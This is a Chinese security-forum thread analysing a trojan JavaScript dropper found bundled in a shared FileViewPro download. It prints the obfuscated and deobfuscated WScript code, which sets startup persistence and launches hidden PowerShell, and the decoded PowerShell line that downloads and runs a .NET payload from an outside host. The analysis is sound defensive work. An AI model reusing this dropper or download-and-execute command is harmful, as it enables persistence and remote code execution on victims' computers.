新人分析,不到之处还请见谅
FileViewPro 万能查看器绿色版https://www.52pojie.cn/thread-1059431-1-1.html
(出处: 吾爱破解论坛)
样本连接:https://wwi.lanzouw.com/im1KLya83mh 密码:52pj
@三木森啊
该用户上传的软件捆绑木马病毒,通过360查出
在线查毒:https://www.virustotal.com/gui/file/a8bb13a0dcec03fb452a53e985285b74c511eb7daacb9daa22dbb647705fba9b
接下来开始进行解包
ERUJHTSETJSEJSEA = function(ObjN) {
ResName = new ActiveXObject(ObjN);
return ResName;
};
WScript.Sleep(5005);
function ASDGHKFIASYLWGHAfi(str) {
splitString = str.split("");
reverseArray = splitString.reverse();
joinArray = reverseArray.join("");
return joinArray;
};
aq = ASDGHKFIASYLWGHAfi("sj.muimorhC\\atadppa\\");
WScript.Sleep(2002);
SETYa = ASDGHKFIASYLWGHAfi("tAFIFcejAFIFbOmetAFIFsySelAFIFiF.gAFIFniAFIFtpirAFIFcS");
SETYaa = SETYa.replace(/FIFA/g, '');
fso=WScript.CreateObject (SETYaa);
zr = fso.FileExists(aq); if (zr == false) {
WScript.Sleep(2002);
SETYs = ASDGHKFIASYLWGHAfi("llAFIFeAFIFhS.tpiAFIFrcAFIFSW");
SETYss = SETYs.replace(/FIFA/g, '');
wscr = new ERUJHTSETJSEJSEA(SETYss);
fso.CopyFile (WScript.ScriptFullName, wscr.ExpandEnvironmentStrings(ASDGHKFIASYLWGHAfi("%ELIFORPRESU%")) + aq , true);
WScript.Sleep(8008);
link = wscr.SpecialFolders(ASDGHKFIASYLWGHAfi("putratS"))+ASDGHKFIASYLWGHAfi("\\")+ASDGHKFIASYLWGHAfi("knl.ini.muimorhC");
shortcut = wscr.CreateShortcut(link);
shortcut.TargetPath = ASDGHKFIASYLWGHAfi("%ELIFORPRESU%") + aq;
shortcut.Arguments = ASDGHKFIASYLWGHAfi(ASDGHKFIASYLWGHAfi(""));
WScript.Sleep(1000);
shortcut.Description = ASDGHKFIASYLWGHAfi("ini.muimorhC");
shortcut.IconLocation = ASDGHKFIASYLWGHAfi("96,lld.23LLEHS\\23metsys\\%tooRmetsyS%");
shortcut.WindowStyle = 4;
shortcut.Save();
}
WScript.Sleep(8008);
try { setTimeout(ASDGHKFIASYLWGHAfi(ASDGHKFIASYLWGHAfi("")),888); } catch(f) {
SETYy = ASDGHKFIASYLWGHAfi("eAFIFxAFIFeAFIF.lAFIFleAFIFhsAFIFrewAFIFoPAFIF");
SETYyy = SETYy.replace(/FIFA/g, '');
C=SETYyy;
BB=ASDGHKFIASYLWGHAfi(" e- tixeon- ");
SD=ASDGHKFIASYLWGHAfi("wGADBgYAUGAXBgLAQHAlBgTAcCAgAAdAMGAlBgaAIGAPBQLAcHAlBgTAgCAoAwZA4GApBgcAQHATBANAYDAlBwcAEGAiBQbA8GAyBgRAoDA6AQXAQHAyBQZAYHAuBwbAMEAbBAKAQGAhBwbAwEAuAgbAkGAhBQbA8GAEBAdA4GAlBgcAIHA1BwQAoDA6AQXA4GApBQYA0GAvBARAAHAwBQQAsFAgAwOAgDAgAAcAUGAlBAbAMHAgAAI");
SV=ASDGHKFIASYLWGHAfi("GAwBQZAIHAuAQKAcCAzAAcA0GAuAgYA8CA0BQaAIGAvAQZAMGAhBAcAMHAuAgaAMHAzBQaAMHAvAwLAoDAwBAdAQHAoBwJAgCAnAwZA4GApBgcAQHATBAZAEGAvBAbA4GA3BwbAQEAnAgLAkCAnAAdA4GAlBQaA");
SF=ASDGHKFIASYLWGHAfi("AkCAsBAbAUHAuBAJAwCAsBAbAUHAuBAJAgCAlBwaA8GA2BgbAkGAuAAdA4GApBwbAAFA5BgcAQHAuBQRA4CApAQKAkCAnAQQAcCAsAwJA4HAhAgKA4FAnAAKAUGAjBQYAw");
wscr.Run(C+BB+SD+SV+SF,0,false);
};
木马文件就是ID.js
本帖最后由 涛之雨 于 2022-4-1 11:15 编辑
根据举报直接以压缩包方式打开样本提取js附件,
查看js代码,简单解密(转置、拼接)
分析代码逻辑
```js
CreateActiveXObject = function (ObjN) {
ResName = new ActiveXObject(ObjN);
return ResName;
};
WScript.Sleep(5005);
aq = "\\appdata\\Chromium.js";
WScript.Sleep(2002);
fso = WScript.CreateObject('Scripting.FileSystemObject');
zr = fso.FileExists(aq);
if (zr == false) {
WScript.Sleep(2002);
wscr = new CreateActiveXObject('WScript.Shell');
fso.CopyFile(WScript.ScriptFullName, wscr.ExpandEnvironmentStrings("%USERPROFILE%") + aq, true);
WScript.Sleep(8008);
link = wscr.SpecialFolders("Startup") + "\\" + "Chromium.ini.lnk";
shortcut = wscr.CreateShortcut(link);
shortcut.TargetPath = "%USERPROFILE%" + aq;
shortcut.Arguments = "";
WScript.Sleep(1000);
shortcut.Description = "Chromium.ini";
shortcut.IconLocation = "%SystemRoot%\\system32\\SHELL32.dll,69";
shortcut.WindowStyle = 4;
shortcut.Save();
}
WScript.Sleep(8008);
try {
setTimeout("", 888);
} catch (f) {
C = 'Powershell.exe';
BB = " -noexit -e ";
SD = "IAAgAHMAbABlAGUAcAAgADgAOwAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBiAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgACcATgBlAHQALgBXAGUAYgBDAGw";
SV = "AaQBlAG4AdAAnACkALgAnAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAnACgAJwBoAHQAdABwADoALwAvAHMAaQBzAHMAagAuAHMAcABhAGMAZQAvAGIAaQB0AC8AYgAuAG0AcAAzACcAKQAuAHIAZQBwAG";
SF = "wAYQBjAGUAKAAnAF4AKgAhAH4AJwAsACcAQQAnACkAKQApAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABuAHUAbABsACkA";
wscr.Run(C + BB + SD + SV + SF, 0, false);
};
```
其中,检测`%USERPROFILE%\\appdata\\Chromium.js`是否存在病毒js本身,
不存在则复制到该位置,并且在开始菜单创建快捷方式
`setTimeout("", 888);`因为参数错误,执行`catch`异常捕捉的代码
拼接执行powershell下载并且运行病毒(其实这个代码也有问题。。。
ActiveX对象是在if中才创建的
只有第一次运行时创建快捷方式才会创建,因此之后都会报错而运行错误。。。
下面看powershell执行的内容
拼接后的字符串为:
```bash
Powershell.exe -noexit -e IAAgAHMAbABlAGUAcAAgADgAOwAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBiAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgACcATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAnACkALgAnAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAnACgAJwBoAHQAdABwADoALwAvAHMAaQBzAHMAagAuAHMAcABhAGMAZQAvAGIAaQB0AC8AYgAuAG0AcAAzACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnAF4AKgAhAH4AJwAsACcAQQAnACkAKQApAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABuAHUAbABsACkA
```
查询`powershell`的帮助,`-e`参数为`base-64`编码后的字符串
使用`atob`解码发现似乎是”乱码”,
看形式像是unicode编码(4字节),
因全都是ascii码,直接以`\x00`分割后拼接,
得到`powershell`中执行的代码
```bash
sleep 8; ::CurrentDomain.Load(::Frombase64String((New-Object 'Net.WebClient').'DownloadString'('http://sissj.space/bit/b.mp3').replace('^*!~','A'))).EntryPoint.invoke($null,$null)
```
(稍微格式化一下)
```bash
sleep 8;
::CurrentDomain.Load(
::Frombase64String(
(New-Object 'Net.WebClient')
.'DownloadString'('http://sissj.space/bit/b.mp3')
.replace('^*!~','A')
)
).EntryPoint.invoke($null,$null)
```
应该是获取`b.mp3`的字符串替换符号后保存,
默认方式打开(应该就是执行这个保存后的文件)
可惜现在网站已经打不开了,不知道网站上什么时候没有的,也不知道服务器上的代码有什么危害,
病多危险期应该是2019-10-14之后,截止时间不详。
因此目前看来暂时是不用紧张,但是最好还是不要使用(或者用压缩软件打开,解压后执行其中的exe)
(刚刚看到有朋友找到了这个`b.mp3`文件,继续继续)
文本复制,把`^*!~`全部替换成`A`,base64解码,保存
因为base64里有非ASCII码,atob会报错。。。
我这里用的(https://base64.us),或者可以用我之前搜罗来的纯js的(https://github.com/taozhiyu/simple-base64-js)
![](http://pic.rmb.bdstatic.com/bjh/1acc231ed2217d18364406a9bbc929d1.png)
我这里用`blob`构建下载
```js
//复制了前面几个hex编码意思一下
var x='4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF'.split(' ')//分割成hex
var c=new Uint8Array(x.map(a=>Number('0x'+a)))//转换成uint8Array
var cao=URL.createObjectURL(new Blob())//创建blob临时URL
document.write('<a href="'+cao+'" download="file.zip">111</a>')//创建下载a链接
```
点一下就可以下载了
(然后就被拦截了=_=)
![](http://pic.rmb.bdstatic.com/bjh/50ea713fbb4aa953ee5eb998500e01dd.png)
(我把magic头给删了才保存下来=_=)
下载下来重新16进制编辑回来
然后就可以继续分析了
.Net(C#)编写的,直接丢dnSpy
又是服务器emmm
![](http://pic.rmb.bdstatic.com/bjh/3f8f4738fe04fc05ffa9b38d96bedca1.png)
看一下请求链接:
![](http://pic.rmb.bdstatic.com/bjh/367c9c86eb2207089322354344aa343e.png)
(果然,有需要分析的自己玩吧)
hxxp://sissjspace/8/gatephp
附件丢上来吧,解压密码:`5ZC+54ix56C06Kej`
(没错就是base64,本来想md5的=_=)
![](http://pic.rmb.bdstatic.com/bjh/1b500a1b19a0df2373882884d6c574bb.png)
赞一个,js也解密分析一下? 一位不明真相的吃瓜群众默默观看大神发挥
厉害 真谦虚 吃一顿好的 发表于 2022-1-4 14:03
厉害 真谦虚
这个帖子软件好多人都使用了,不知道害了多少人了 厉害,膜拜大神带路。 厉害了,资深大神才看得懂吧 js也解密一下吧,看着还是有点懵 小白完全看不懂
页:
[1]
2